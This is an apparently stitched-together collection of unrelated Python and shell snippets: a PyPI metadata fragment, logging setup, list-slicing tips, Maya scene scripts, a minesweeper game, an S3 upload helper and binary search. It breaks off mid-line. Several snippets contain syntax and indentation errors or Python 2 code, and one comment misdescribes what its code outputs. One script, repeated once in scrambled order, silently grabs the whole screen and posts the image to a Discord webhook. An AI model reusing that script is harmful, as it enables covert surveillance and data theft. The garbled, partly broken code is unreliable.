                    'edit this file\n'
                    'accordingly to adapt this sample project to your needs.\n'
                    '\n'
                    '----\n'
                    '\n'
                    'This is the README file for the project.\n'
                    '\n'
                    'The file should use UTF-8 encoding and can be written using\n'
                    '[reStructuredText][rst] or [markdown][md use] with the '
                    'appropriate [key set][md\n'
                    'use]. It will be used to generate the project webpage on PyPI '
                    'and will be\n'
                    'displayed as the project homepage on common code-hosting '
                    'services, and should be\n'
                    'written for that purpose.\n'
                    '\n'
                    'Typical contents for this file would include an overview of '
                    'the project, basic\n'
                    'usage examples, etc. Generally, including the project '
                    'changelog in here is not a\n'
                    "good idea, although a simple “What's New” section for the "
                    'most recent version\n'
                    'may be appropriate.\n'
                    '\n'
                    '[packaging guide]: https://packaging.python.org\n'
                    '[distribution tutorial]: '
                    'https://packaging.python.org/tutorials/packaging-projects/\n'
                    '[src]: https://github.com/pypa/sampleproject\n'
                    '[rst]: http://docutils.sourceforge.net/rst.html\n'
                    '[md]: https://tools.ietf.org/html/rfc7764#section-3.5 '
                    '"CommonMark variant"\n'
                    '[md use]: '
                    'https://packaging.python.org/specifications/core-metadata/#description-content-type-optional\n',
     'description_content_type': 'text/markdown',
     'docs_url': None,
     'download_url': '',
     'downloads': {'last_day': -1, 'last_month': -1, 'last_week': -1},
     'home_page': '',
     'keywords': 'sample,setuptools,development',
     'license': 'Copyright (c) 2016 The Python Packaging Authority (PyPA)  '
                'Permission is hereby granted, free of charge, to any person '
                'obtaining a copy of this software and associated documentation '
                'files (the "Software"), to deal in the Software without '
                'restriction, including without limitation the rights to use, '
                'copy, modify, merge, publish, distribute, sublicense, and/or sell '
                'copies of the Software, and to permit persons to whom the '
                'Software is furnished to do so, subject to the following '
                'conditions:  The above copyright notice and this permission '
                'notice shall be included in all copies or substantial portions of '
                'the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY '
                'OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE '
                'WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE '
                'AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT '
                'HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, '
                'WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING '
                'FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR '
                'OTHER DEALINGS IN THE SOFTWARE. ',
     'maintainer': '',
     'maintainer_email': '"A. Great Maintainer" <maintainer@example.com>',
     'name': 'sampleproject',
     'package_url': 'https://pypi.org/project/sampleproject/',
     'platform': None,
     'project_url': 'https://pypi.org/project/sampleproject/',
     'project_urls': {'Bug Reports': 'https://github.com/pypa/sampleproject/issues',
                      'Funding': 'https://donate.pypi.org',
                      'Homepage': 'https://github.com/pypa/sampleproject',
                      'Say Thanks!': 'http://saythanks.io/to/example',
                      'Source': 'https://github.com/pypa/sampleproject/'},
     'release_url': 'https://pypi.org/project/sampleproject/3.0.0/',
     'requires_dist': ['peppercorn',
                       "check-manifest ; extra == 'dev'",
                       "coverage ; extra == 'test'"],
     'requires_python': '>=3.7',
     'summary': 'A sample Python project',
     'version': '3.0.0',
     'yanked': False,
     'yanked_reason': None}
"""
class CustomFormatter(logging.Formatter):

    grey = "\x1b[38;20m"
    yellow = "\x1b[33;20m"
    red = "\x1b[31;20m"
    bold_red = "\x1b[31;1m"
    reset = "\x1b[0m"
    format = "%(asctime)s - %(name)s - %(levelname)s - %(message)s (%(filename)s:%(lineno)d)"

    FORMATS = {
        logging.DEBUG: grey + format + reset,
        logging.INFO: grey + format + reset,
        logging.WARNING: yellow + format + reset,
        logging.ERROR: red + format + reset,
        logging.CRITICAL: bold_red + format + reset
    }

    def format(self, record):
        log_fmt = self.FORMATS.get(record.levelno)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

# create logger with 'spam_application'
logger = logging.getLogger("My_app")
logger.setLevel(logging.DEBUG)

# create console handler with a higher log level
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)

ch.setFormatter(CustomFormatter())

logger.addHandler(ch)
# Import the itertools library 
# This library ships with Python 3 so you don't have to download anything
# It provides a bunch of tools for dealing with sequences and iteration
import itertools

# Create a new dictionary variable
myDictionary = {
    "name": "Fred",
    "animal": "cat",
    "colour": "red",
    "age": 3
} 

# Create a sliced dictionary
# dict() is used to convert the iterable result of itertools.islice() to a new dictionary
slicedDict = dict(itertools.islice(myDictionary.items(), 1 ,3))

print(slicedDict)

# Prints out 
# {   
#     'animal': 'cat', 
#     'colour': 'red'
# }
import logging
logger = logging.getLogger('cmdstanpy')
logger.addHandler(logging.NullHandler())
logger.propagate = False
logger.setLevel(logging.CRITICAL)
import streamlit as st

display = ("male", "female")
options = list(range(len(display)))
value = st.selectbox("gender", options, format_func=lambda x: display[x])
st.write(value)

# dropdown shows "male, female" but the value is 1 or 2
import string
alphabet = list(string.ascii_lowercase)
print(alphabet)

# Returns: ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
# Last two items of ENTIRE list
ls = [1, 2, 3, 4, 5, 6, 7, 8]
print(ls[-2:])
# [7, 8]
# equivalent to ls[len(ls)-2:len(ls)], see below

# Last two items of A PART of list
cutoff = 5
print(ls[cutoff-2:cutoff])	# where -2 is last 2 values
# [4, 5]

# Using a for loop
for i in range(0, len(ls)):
   if i+1 ==  len(ls)):
      print(ls[i-1:len(ls)])
# [7, 8]



# Negative numbers in slices are simply evaluated by adding `len(ls)`, so this is the same as `ls[len(ls) - 2:]`. For more information on slices, refer to the [Python tutorial](http://docs.python.org/tutorial/introduction.html#strings) or [this excellent stackoverflow answer](https://stackoverflow.com/a/509295/35070).
list1 = [1, 2, 3]
list2 = [4, 5, 6]

# Product part
product_for_sum = []
for i in range(0, len(list1)):
   product_for_sum.append(list1[i]*list2[i])

# Sum part
sumproduct = sum(product_for_sum)

print(sumproduct)
# (1*4) + (2*5) + (3*6)
# = 4 + 10 + 18
# = 32 
import streamlit as st
from multipage_streamlit import MultiPage

def app():
    return
import streamlit as st

# Helper function to init session states
def init_sess_state(sess_state_name, init_val):
	if sess_state_name not in st.session_state:         
       st.session_state[sess_state_name] = init_val
    return sess_state_name
In [69]:
df.apply(lambda x: x.str.contains('|'.join(column_filters[x.name]), case=False))

Out[69]:
  COLUMN_1 COLUMN_2
0     True     True
1     True    False
2    False     True
3    False    False
4    False    False
from multiprocessing import Process

def func1():
  print 'func1: starting'
  for i in xrange(10000000): pass
  print 'func1: finishing'

def func2():
  print 'func2: starting'
  for i in xrange(10000000): pass
  print 'func2: finishing'

if __name__ == '__main__':
  p1 = Process(target=func1)
  p1.start()
  p2 = Process(target=func2)
  p2.start()
  p1.join()
  p2.join()

# give arg to function later
def scan_smth(domain):
    print("starting detailed scan")
    target=ssllabsscanner.newScan(domain)

t1 = Process(target=scan_smth, args=("www.example.com",))
t1.start()
t1.join()
# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)
# Capture a screenshot
screenshot = ImageGrab.grab()
# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."
import time
from io import BytesIO

import requests
from PIL import ImageGrab
import time
from io import BytesIO

import requests
from PIL import ImageGrab


# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."

# Capture a screenshot
screenshot = ImageGrab.grab()

# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)

# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
pip install pillow
pip install requests
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager

driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))
driver.get("https://www.google.com")
lsof -t -i tcp:8000 | xargs kill -9
import maya.cmds as cmds
import re

# List all meshes in the scene
meshes = cmds.ls(type="mesh")

# Define the naming convention regex pattern
# Use capture groups and wildcard patterns to match the material name and mesh name
# Append "Shape" to the end of the regex pattern to only match mesh objects with "Shape" in their name
naming_convention = "(.+)_(.+)_####_GEOShape"

# Check if the "NamingConventionFail" selection set already exists
if cmds.objExists("NamingConventionFail"):
    # Delete the "NamingConventionFail" selection set
    cmds.delete("NamingConventionFail")

# Create the "NamingConventionFail" selection set
cmds.sets(name="NamingConventionFail")

# Loop through the meshes
for mesh in meshes:
    # Use re.search to check if the mesh name matches the naming convention
    match = re.search(naming_convention, mesh)
    if not match:
        # Add the mesh to the "NamingConventionFail" selection set
        cmds.sets(mesh, add="NamingConventionFail")

# Get the list of meshes in the "NamingConventionFail" selection set
mesh_list = cmds.sets("NamingConventionFail", query=True)

# Create a GUI window
window = cmds.window(title="Naming Convention Check")

# Create a column layout in the GUI window
layout = cmds.columnLayout()

# Create a label that displays the text "List of meshes that don't follow the correct naming convention"
cmds.text(label="List of meshes that don't follow the correct naming convention")

# Create a text scroll list in the column layout
cmds.textScrollList(append=mesh_list)

# Show the GUI window
cmds.showWindow(window)
import maya.cmds as cmds
import random

# Create a new window
window = cmds.window(title="Generating your city", widthHeight=(300, 200))
 
# Add a layout to the window
layout = cmds.columnLayout()
 
# Add a text field to the layout
text_field = cmds.text(label="..............{--Generating your city--}..............")
 
# Display the window
cmds.showWindow(window)

# Creates a "City_GRP" group
city_grp = cmds.group(name="City_GRP", empty=True)

for i in range(2000):
    # Create a cube with the "Building_####_GEO" name
    building_name = "Building_%04d_GEO" % i
    cube = cmds.polyCube(name=building_name)

    # Generate random X and Z coordinates with a maximum distance of 100 units from the world origin
    x = random.uniform(-100, 100)
    z = random.uniform(-100, 100)

    # Calculate the distance of the cube from the origin using the Pythagorean theorem
    distance = (x**2 + z**2)**0.5

    # Generate random scale values for the X, Z, and Y axes, with a max X and Z scale of 6 and a max Y scale of 20
    # and divide it by the pythagorean
    x_scale = random.uniform(1, 6) / (distance / 9)
    y_scale = random.uniform(1, 20) / (distance / 9)
    z_scale = random.uniform(1, 6) / (distance / 9)

    # Check if any of the scales are larger than 35 and delete the cube if they are
    if x_scale > 15 or y_scale > 35 or z_scale > 15:
        cmds.delete(building_name)
        continue

    # Randomize the cube's scale using the cmds.scale command
    cmds.scale(x_scale, y_scale, z_scale, building_name)

    # Position the cube at the random X and Z coordinates
    cmds.move(x, 0, z, building_name)

    # store the X and Z coordinates
    x_coord = cmds.getAttr(building_name + ".translateX")
    z_coord = cmds.getAttr(building_name + ".translateZ")

    # get the cubes bounding box
    bbox = cmds.xform(building_name, query=True, boundingBox=True)

    # store the minimum y value of the bounding box
    min_y = bbox[1]

    # Subtract the minimum y value from the cube's y coordinate
    y = 0 - min_y

    # set the new transform of the cube using the stored X and Z coordinates
    cmds.move(x_coord, y, z_coord, building_name)

    # Add the cube to the City_GRP group
    cmds.parent(building_name, city_grp)

	# ------------------------- group buildings

# Get all children of City_GRP that start with "Building"
buildings = cmds.listRelatives("City_GRP", children=True, type="transform")
buildings = [b for b in buildings if b.startswith("Building")]

# Create three groups to hold the buildings, using the desired names
group1 = cmds.group(empty=True, name="cityCenter_GRP")
group2 = cmds.group(empty=True, name="cityLimits_GRP")
group3 = cmds.group(empty=True, name="cityOutskirts_GRP")

# Add the groups as children of City_GRP
cmds.parent([group1, group2, group3], "City_GRP")

# Iterate over the buildings and add them to the appropriate group
for building in buildings:
    # Get the distance of the building from the world origin
    position = cmds.xform(building, query=True, worldSpace=True, translation=True)
    distance = (position[0]**2 + position[1]**2 + position[2]**2)**0.5

    if distance < 33.33:
        cmds.parent(building, group1)
    elif distance < 66.66:
        cmds.parent(building, group2)
    else:
        cmds.parent(building, group3)

    # ----------------------- build environment


# Create a plane with a scale of 200 in each direction
cmds.polyPlane(name="groundPlane_GEO", w=200, h=200)

# Create a directional light
cmds.directionalLight(name="sun_LGT")

# Set the position and rotation of the light using the move and rotate commands
cmds.move(0, 60, 0, "sun_LGT", absolute=True)
cmds.rotate(-22, 50, 0, "sun_LGT", absolute=True)

# Set the light shadow color to a grey with a value of 0.35
cmds.setAttr("sun_LGT.shadowColor", 0.35, 0.35, 0.35, type="double3")

# Create a group to hold the plane and light
cmds.group(name="environment_GRP", empty=True)

# Add the plane and light to the group
cmds.parent("groundPlane_GEO", "environment_GRP")
cmds.parent("sun_LGT", "environment_GRP")

# Add the environment group as a child of the City group
cmds.parent("environment_GRP", "City_GRP")

# Update the text field to say "Done"
cmds.text(text_field, edit=True, label=".............._____Done_____..............")
import maya.cmds as cmds
import random
import math

# Create the City_GRP group
cmds.group(name="City_GRP", empty=True)

# Create 2000 cubes with random X, Z, and Y scale
for i in range(1, 2001):
    # Create a cube with the "Building_####_GEO" name
    cube = cmds.polyCube(w=1, h=1, d=1, name="Building_{:04d}_GEO".format(i))

    # Generate random X and Z coordinates with a maximum distance of 100 units from the world origin
    x_coord = random.uniform(-100, 100)
    z_coord = random.uniform(-100, 100)

    # Calculate the distance of the cube from the origin using the Pythagorean theorem
    distance = math.sqrt(x_coord**2 + z_coord**2)

    # Generate random scale values for the X, Z, and Y axes, with a max X and Z scale of 6 and a max Y scale of 20
    x_scale = random.uniform(1, 6) / (distance / 10)
    z_scale = random.uniform(1, 6) / (distance / 10)
    y_scale = random.uniform(1, 20) / (distance / 10)

    # Randomize the cube's scale using the cmds.scale command
    cmds.scale(x_scale, y_scale, z_scale, cube)

    # Position the cube at the random X and Z coordinates
    cmds.setAttr(cube[0] + ".translateX", x_coord)
    cmds.setAttr(cube[0] + ".translateZ", z_coord)

    # Add the cube to the City_GRP group
    cmds.parent(cube[0], "City_GRP")
import pandas as pd
from sklearn.model_selection import train_test_split

# Load the data from the CSV file
data = pd.read_csv("data.csv")

# Split the data into train and validation sets, using 85% of the data for training and 15% for validation for the "labels" column
train_data, validation_data = train_test_split(data, train_size=0.85, test_size=0.15, random_state=42, stratify=data["labels"])

# Write the train and validation datasets to CSV files
train_data.to_csv("train.csv", index=False)
validation_data.to_csv("valid.csv", index=False)
lsof -t -i tcp:8000 | xargs kill -9
REST_FRAMEWORK = { 
 (...)
'DEFAULT_CONTENT_NEGOTIATION_CLASS': 'myapp.renderers.IgnoreClientContentNegotiation',
}
sudo apt update
sudo apt install software-properties-common
from random import*

class Board:
    def __init__(self, dim, num_bombs):
        self.dim = dim
        self.num_bombs = num_bombs
        self.board = ["@" for i in range(dim * dim)]
        self.around = [dim, -dim, 1, -1, dim+1, -dim+1, dim-1, -dim-1]
    
    def set_board(self, first_choice):
        x = set()
       
        while len(x) < self.num_bombs:
            idx = randint(0, pow(self.dim, 2) - 1)
            while idx == first_choice:
                idx = randint(0, pow(self.dim, 2) - 1)
            x.add(idx)
           
        self.bombs = sorted(list(x))
        print(self.bombs)

    def print_board(self):
        for idx in range(pow(self.dim, 2)):
            if idx % self.dim == 0 and idx != 0:
                print()
            print(self.board[idx], end = " ")
        print()
           
           
    def update_board(self, idx):
        if idx in self.bombs:
            for i in self.bombs:
                self.board[i] = "*"
            self.print_board()
            print()
            print("Game Over!")
            return False
        elif 0 <= idx < pow(self.dim, 2):
            self.board[idx] = str(len(set(self.bombs).intersection(set([idx+j for j in self.around if 0 < idx+j < pow(self.dim, 2)]))))
            if "@" not in [el for i, el in enumerate(self.board) if i not in self.bombs]:
                print("Win!")
                self.print_board()
                return False
            return True
            
    def get_input(self):
        while True:
            try:
                i = int(input("Dig the mine(0~" + str(pow(self.dim, 2) - 1) + "): "))
                if 0 < i >= pow(self.dim, 2):
                    raise Exception
                break
            except:
                print("Invalid_input!")
        return i
        

def play(dim, num_bombs):
    
    board = Board(dim, num_bombs)
    board.print_board()
    i = board.get_input()
    board.set_board(i)
    
    while board.update_board(i):
        board.print_board()
        i = board.get_input()

dim = int(input("Enter demension: "))
num_bombs = int(input("Enter number of bombs: "))
play(dim, num_bombs)
import logging
import boto3
from botocore.exceptions import ClientError
import os


def upload_file(file_name, bucket, object_name=None):
    """Upload a file to an S3 bucket

    :param file_name: File to upload
    :param bucket: Bucket to upload to
    :param object_name: S3 object name. If not specified then file_name is used
    :return: True if file was uploaded, else False
    """

    # If S3 object_name was not specified, use file_name
    if object_name is None:
        object_name = os.path.basename(file_name)

    # Upload the file
    s3_client = boto3.client('s3')
    try:
        response = s3_client.upload_file(file_name, bucket, object_name)
    except ClientError as e:
        logging.error(e)
        return False
    return True
#method 1
def evaluate(n, l, r, m, list_a):
    if list_a[m] > n:
        r = m
        m = (l+r) // 2
    elif list_a[m] < n:
        l = m+1
        m = (l+r) // 2
    elif list_a[m] == n:
        return "found"
    return (l, r, m)
    
def binary_search(list_a, n):
    l, r = 0, len(list_a) - 1
    m = (l+r) // 2
    
    while True:
        try:
            l, r, m = evaluate(n, l, r, m, list_a)
      
        except Exception:
            break
  
    return m
    

#method 2
def recursive_binary_search(list_a, target, l = None, r = None):
    if list_a == []:
        return None
        
    if l == None and r == None:
        l = 0
        r = len(list_a) - 1
        
    mid = (l + r) // 2
    
    if list_a[mid] == target:
        return mid
    elif target < list_a[mid]:
        return recursive_binary_search(list_a, target, l, mid - 1)
    elif target > list_a[mid]:
        return recursive_binary_search(list_a, target, mid + 1, r)
        
def naive_search(list_a, target):
    for i in list_a:
        if i == target:
            return target
    return None

#test
from random import*
from time import*

sorted_list = set()
length = 1000

while len(sorted_list) < length:
    sorted_list.add(randint(-8 * length, 8* length))

sorted_list = sorted(list(sorted_list))

start = time()
for target in sorted_list:
    naive_search(sorted_list, target)
end = time()
print("Naive Search:", (end - start) / length)

start = time()
for target in sorted_list:
    binary_search(sorted_list, target)
end = time()
print("Bi